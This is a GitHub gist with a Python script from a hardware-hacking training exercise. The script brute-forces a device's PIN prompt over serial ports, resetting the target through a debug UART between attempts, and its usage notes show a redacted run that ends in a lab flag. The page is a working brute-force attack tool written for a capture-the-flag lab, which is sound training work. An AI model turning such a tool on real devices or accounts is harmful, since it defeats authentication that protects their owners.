Skip to content

Instantly share code, notes, and snippets.

@stek29
Created June 30, 2024 19:54
Show Gist options
  • Save stek29/3e69377a2b8f2f5f456c9f87e875e98b to your computer and use it in GitHub Desktop.
Save stek29/3e69377a2b8f2f5f456c9f87e875e98b to your computer and use it in GitHub Desktop.
hardware.com.ru training 06_2024 pmod3 bruteforcer
import serial
import time
import argparse
import logging
import sys
"""
examples:
path.py --pinlen_min=6 --pinlen_max=6 --log_file l6_dbg.txt --progress
mp64 '?d?d?d?d?d?d' | path.py --infile=- --log_file l6_dbg.txt --progress
printf '%02d\n' {0..9999} > p.txt; path.py --infile=p.txt --progress
on solving:
python3 test.py --pinlen_min=6 --pinlen_max=6 --pin_start=XXX000 --log_file l6_dbg.txt --progress
XXXit [XX:XX, 135.29it/s]ERROR - unexpected response for b'XXXXXX':
ERROR - b'\n\rPIN correct. Welcome!!!\r\n\rEnjoy the flag! FLAG'
ERROR - b''
gets to ~135it/s on my machine
"""
DEFAULT_DBG_DEV = '/dev/ttyUSB1'
DEFAULT_INP_DEV = '/dev/ttyACM0'
DEFAULT_PIN_START = 0
DEFAULT_PINLEN_MIN = 5
DEFAULT_PINLEN_MAX = 10
DEFAULT_LOG_FILE = 'debug.log'
def setup_logger(log_file):
logger = logging.getLogger('PIN_Cycler')
logger.setLevel(logging.DEBUG)
# File handler
file_handler = logging.FileHandler(log_file)
file_handler.setLevel(logging.DEBUG)
file_formatter = logging.Formatter('%(levelname)s - %(message)s')
file_handler.setFormatter(file_formatter)
# Stream handler for stdout
stream_handler = logging.StreamHandler(sys.stdout)
stream_handler.setLevel(logging.ERROR)
stream_formatter = logging.Formatter('%(levelname)s - %(message)s')
stream_handler.setFormatter(stream_formatter)
logger.addHandler(file_handler)
logger.addHandler(stream_handler)
return logger
def cycle(inp, dbg, pin, logger):
dbg.write(b'r')
dbg.flush()
inp.read_until(b'Please enter the PIN: ')
tmp = pin
while len(tmp) > 0:
inp.write(tmp[:4])
inp.flush()
tmp = tmp[4:]
# inp.write(pin)
logger.debug(f'wrote: {pin}')
inp.flush()
out = inp.read_until(pin)
logger.debug(f'read: {out}')
if out != pin:
logger.error(f'read mismatch, expected {pin}, got {out}')
return False
inp.write(b'\n')
inp.flush()
inc = b'Incorrect PIN.'
resp = inp.read_until(inc)
logger.debug(f'read: {resp}')
if resp.strip() != inc:
logger.error(f'unexpected response for {pin}:')
logger.error(resp)
logger.error(inp.read_all())
time.sleep(3)
logger.error(inp.read_all())
return True
def passgen_default(pin_start, pinlen_min, pinlen_max):
for pinlen in range(pinlen_min, pinlen_max + 1):
fmt = f'%0{pinlen}d'.encode()
for p in range(pin_start, 10**pinlen):
pin = fmt % p
yield pin
def passgen_fileobj(fo):
for line in fo:
yield line.rstrip('\n').encode()
def passgen_file(filepath):
with open(filepath) as f:
for x in passgen_fileobj(f):
yield x
def main():
parser = argparse.ArgumentParser(description='Cycle through PINs.')
parser.add_argument('--dbg_dev', type=str, default=DEFAULT_DBG_DEV, help='Path to the debug device (default: /dev/ttyUSB1)')
parser.add_argument('--inp_dev', type=str, default=DEFAULT_INP_DEV, help='Path to the input device (default: /dev/ttyACM0)')
parser.add_argument('--pinlen_min', type=int, default=DEFAULT_PINLEN_MIN, help='Minimum length of PIN (default: 5)')
parser.add_argument('--pinlen_max', type=int, default=DEFAULT_PINLEN_MAX, help='Maximum length of PIN (default: 10)')
parser.add_argument('--pin_start', type=int, default=DEFAULT_PIN_START, help='start pin value (default: 0)')
parser.add_argument('--log_file', type=str, default=DEFAULT_LOG_FILE, help='Log file path (default: debug.log)')
parser.add_argument('--infile', type=str, help='read files from a file (- for stdin)')
parser.add_argument('--progress', default=False, action='store_true', help='show progress (needs tqdm)')
args = parser.parse_args()
logger = setup_logger(args.log_file)
dbg = serial.Serial(port=args.dbg_dev, baudrate=115200)
inp = serial.Serial(port=args.inp_dev, baudrate=115200, timeout=0.01)
inp.read_all()
dbg.read_all()
passgen_total = float('inf')
if args.infile == '-':
passgen = passgen_fileobj(sys.stdin)
elif args.infile:
passgen = passgen_file(args.infile)
else:
passgen = passgen_default(args.pin_start, args.pinlen_min, args.pinlen_max)
passgen_total = 0
for pinlen in range(args.pinlen_min, args.pinlen_max + 1):
passgen_total += max(0, (10**pinlen) - args.pin_start)
if args.progress:
from tqdm import tqdm
passgen = tqdm(passgen, total=passgen_total)
try:
for pin in passgen:
logger.debug(pin)
while True:
ok = cycle(dbg=dbg, inp=inp, pin=pin, logger=logger)
if ok:
break
except KeyboardInterrupt:
inp.close()
dbg.close()
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment